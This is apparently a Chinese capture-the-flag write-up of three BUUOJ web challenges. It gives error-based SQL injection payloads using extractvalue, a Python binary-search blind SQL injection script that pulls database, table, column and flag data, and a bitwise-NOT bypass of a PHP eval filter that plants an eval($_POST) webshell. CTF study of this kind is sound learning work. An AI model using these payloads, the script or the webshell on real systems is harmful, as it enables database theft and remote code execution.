一个登陆框,简单测试一下很多包括union等字符被过滤了,这里这样构造可以成功登录,但是没有flag,所以是要把flag从数据库读出来了
admin'Or(1)#
1
发现^
没有被过滤,可以用来代替and,与extractvalue函数
结合来尝试进行报错注入
这个函数在这里的大致用法是这样的,extractvalue(null,concat(0x7e,user(),0x7e)),中间的user()即为你想执行的查询语句
接下来这题就是爆库,爆表,爆字段,爆内容的基本操作了
注入过程语句
1'^extractvalue(null,concat(0x7e,database(),0x7e))#
1'^extractvalue(null,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))#
1'^extractvalue(null,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e))#
1'^extractvalue(null,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1)),0x7e))#
1'^extractvalue(null,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e))#
直到上面的最后一步,我们可以看得到一部分的flag,为什么没有显示完全呢,因为extractvalue函数
最多显示32位
然后从右查询一下就好了
1'^extractvalue(null,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e))#
简单测试是search.php
的参数id
处存在sql注入,因为这里错误了只回显error,所以不能像上面一样报错注入了,只能尝试盲注了
自己写的一个二分py盲注脚本
import requests
import time
url = "http://2a44fa89-7382-4594-9d62-0ac6c92114d2.node3.buuoj.cn/search.php?"
def getDatabase():
print("----------getDatabase----------")
database = ""
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
payload = "id=1^(ascii(substr((select(database())),{},1))<{})^1".format(i,mid)
attack = url + payload
res = requests.get(attack)
if ("NO! Not this! Click others~~~" in res.text):
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if((mid <= 32) or (mid >= 127)):
break
database += chr(mid - 1)
print(database)
return database
def getTables(database):
print("----------getTables----------")
tables = ""
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
payload = "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'{}\')),{},1))<{})^1".format(database,i,mid)
attack = url + payload
res = requests.get(attack)
if ("NO! Not this! Click others~~~" in res.text):
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if((mid <= 32) or (mid >= 127)):
break
tables += chr(mid - 1)
print(tables)
return tables
# getDatabase()
def getColumn(table):
print("----------getColumn----------")
column = ""
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
payload = "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'{}\')),{},1))<{})^1".format(table,i,mid)
attack = url + payload
res = requests.get(attack)
if ("NO! Not this! Click others~~~" in res.text):
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if((mid <= 32) or (mid >= 127)):
break
column += chr(mid - 1)
print(column)
return column
def getFlag(column,table):
print("----------getFlag----------")
flag = ""
for i in range(1,10000):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
payload = "id=1^(ascii(substr((select(group_concat({}))from({})),{},1))<{})^1".format(column,table,i,mid)
attack = url + payload
res = requests.get(attack)
if ("NO! Not this! Click others~~~" in res.text):
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if((mid <= 32) or (mid >= 127)):
break
flag += chr(mid - 1)
print(flag)
if __name__ == '__main__':
getTables(getDatabase())
table = input("plz input table name:\n")
getColumn(table)
table1 = input("plz input search table:\n")
column = input("plz input search column:\n")
getFlag(column,table1)
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
正则过滤了字母数字,可以取反绕过
?code=(~%8F%97%8F%96%91%99%90)(); //查看phpinfo
";
echo urlencode(~'eval($_POST[a])');//%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6
?>
我自己开始没有加assert,而是eval,但是没用,看到网上的wp是用assert,开始我对这个assert为什么不能用eval也是很迷惑,查询之后知道其实是因为eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用,什么叫可变函数呢,可变函数即变量名加括号,我理解这里的eval()也是一个可变函数,所以eval不能被eval()调用,需要用assert()函数来作为中间人,在中间卡一下,即eval(assert(eval()))
参考链接
构造就是这样子
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
蚁剑连接,根目录下有一个flag文件,但是读取不了,是要通过readflag来读取flag,前不久也做过一个一样的,是因为禁用了很多函数
类似题目WP,GKCTF2020-CheckIN
但是这题构造的shell,不需要用到assert,有点不明白,望大佬们指点一下,拿flag倒是一样的操作